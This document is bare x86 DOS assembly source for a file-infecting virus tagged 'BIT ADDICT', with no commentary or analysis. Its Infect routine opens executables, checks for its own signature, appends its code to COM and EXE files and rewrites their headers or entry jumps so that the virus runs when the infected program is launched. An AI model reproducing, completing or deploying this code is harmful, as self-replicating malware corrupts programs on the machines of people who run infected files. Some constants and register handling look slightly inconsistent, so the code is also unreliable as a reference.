jmpc    macro   Dest
	local   Skip

	jnc     Skip
	jmp     Dest
Skip:
	endm

jmpnc   macro   Dest
	local   Skip

	jc      Skip
	jmp     Dest
Skip:
	endm

jmpe    macro   Dest
	local   Skip

	jnz     Skip
	jmp     Dest
Skip:
	endm

jmpne   macro   Dest
	local   Skip

	jz      Skip
	jmp     Dest
Skip:
	endm

code segment
	assume  cs:code,ds:code,es:code
	org     0

ID              db      'BIT ADDICT'
ID_Length       equ     $-offset ID

SavedCode       equ     this byte
OldIP           dw      0
OldCS           dw      0
OldSP           dw      0
OldSS           dw      0
		dw      0

Begin:  mov     ax,4c00h
	int     21h

ComHeader:
	mov     ax,cs
	add     ax,0100h
OldPrgSize      equ     this word-2
	push    ax
	xor     ax,ax
	push    ax
	retf

Infect: push    ax
	push    bx
	push    cx
	push    cx
	push    si
	push    di
	push    bp
	push    ds
	push    es
	mov     ax,3d02h
	int     21h
	jmpc    Close
	push    cs
	pop     ds
	push    cs
	pop     es
	mov     bx,ax
	mov     ah,3fh
	mov     cx,HeaderLength
	lea     dx,Header
	int     21h
	jmpc    Close
	cmp     ax,HeaderLength
	jne     ComFile
	cmp     Signature,5a4dh
	je      ComChk
ExeChk: mov     ax,ExeCS
	add     ax,HeaderSize
	mov     dx,10h
	mul     dx
	mov     cx,dx
	mov     dx,ax
	jmp     Check
ComChk: xor     cx,cx
	mov     dx,NearJump
	sub     dx,offset Begin-3
	jb      ComFile
Check:  mov     ax,4200h
	int     21h
	mov     ah,3fh
	mov     cx,ID_Length
	lea     dx,ID_Check
	int     21h
	lea     si,ID_Check
	lea     di,ID
	mov     cx,ID_Length
	repe    cmpsb
	jmpe    Close
	cmp     Signature,5a4dh
	je      ExeFile
ComFile:mov     si,offset Header
	mov     di,offset SavedCode
	mov     cx,0ah
	rep     movsb
	mov     ax,4202h
	xor     cx,cx
	xor     dx,dx
	int     21h
	mov     cx,10h
	div     cx
	or      dx,dx
	je      Ok1
	push    ax
	mov     ah,40h
	mov     cx,10h
	sub     cx,dx
	xor     dx,dx
	int     21h
	pop     ax
	jc      Close
	inc     ax
Ok1:    add     ax,10h
	mov     OldPrgSize,ax
	mov     ah,40h
	mov     cx,CodeSize1
	xor     dx,dx
	int     21h
	jmpc    Close
	mov     ax,4200h
	xor     cx,cx
	xor     dx,dx
	int     21h
	jmpc    Close
	mov     ah,40h
	mov     cx,10
	mov     dx,offset ComHeader
	int     21h
	jmp     Close
ExeFile:mov     ax,ExeIP
	mov     OldIP,ax
	mov     ax,ExeCS
	mov     OldCS,ax
	mov     ax,ExeSP
	mov     OldSP,ax
	mov     ax,ExeSS
	mov     OldSS,ax
	mov     ax,PageCount
	dec     ax
	mov     cx,200h
	mul     cx
	add     ax,PartPage
	adc     dx,0
	mov     cx,dx
	mov     dx,ax
	mov     ax,4200h
	int     21h
	mov     cx,10h
	div     cx
	or      dx,dx
	je      Ok2
	push    ax
	mov     ah,40h
	mov     cx,10h
	sub     cx,dx
	xor     dx,dx
	int     21h
	pop     ax
	jc      Close
	inc     ax
Ok2:    sub     ax,HeaderSize
	mov     ExeCS,ax
	mov     ExeIP,offset Begin
	add     ax,CodeSizePara2
	mov     ExeSS,ax
	mov     ExeSP,200h
	mov     ax,MinMem
	cmp     ax,20h+CodeSizePara2-CodeSizePara1
	jae     Ok3
	mov     ax,20h
Ok3:    mov     MinMem,ax
	mov     ax,PartPage
	add     ax,offset CodeSize2
	xor     dx,dx
	mov     cx,200h
	div     cx
	add     PageCount,ax
	mov     PartPage,dx
	mov     ah,40h
	mov     cx,offset CodeSize1
	xor     dx,dx
	int     21h
	jc      Close
	mov     ax,4200h
	xor     cx,cx
	xor     dx,dx
	int     21h
	jc      Close
	mov     ah,40h
	mov     cx,HeaderLength
	mov     dx,offset Header
	int     21h
Close:  mov     ah,3eh
	int     21h
	pop     es
	pop     ds
	pop     di
	pop     si
	pop     dx
	pop     cx
	pop     bx
	pop     ax
	iret

CodeSize1       equ     $
CodeSizePara1   equ     ($+0fh) / 4

Header          dw      14h dup(?)
NearJump        equ     Header[1h]              ; Com file

Signature       equ     Header[0h]              ; Exe file
PartPage        equ     Header[2h]
PageCount       equ     Header[4h]
ReloCount       equ     Header[6h]
HeaderSize      equ     Header[8h]
MinMem          equ     Header[0ah]
MaxMem          equ     Header[0ch]
ExeSS           equ     Header[0eh]
ExeSP           equ     Header[10h]
ChkSum          equ     Header[12h]
ExeIP           equ     Header[14h]
ExeCS           equ     Header[16h]
TablOfs         equ     Header[18h]
OverlayNr       equ     Header[1ah]
HeaderLength    equ     1ch

ID_Check        db      ID_Length dup(?)

CodeSize2       equ     $
CodeSizePara2   equ     ($+0fh) shr 4

code ends

end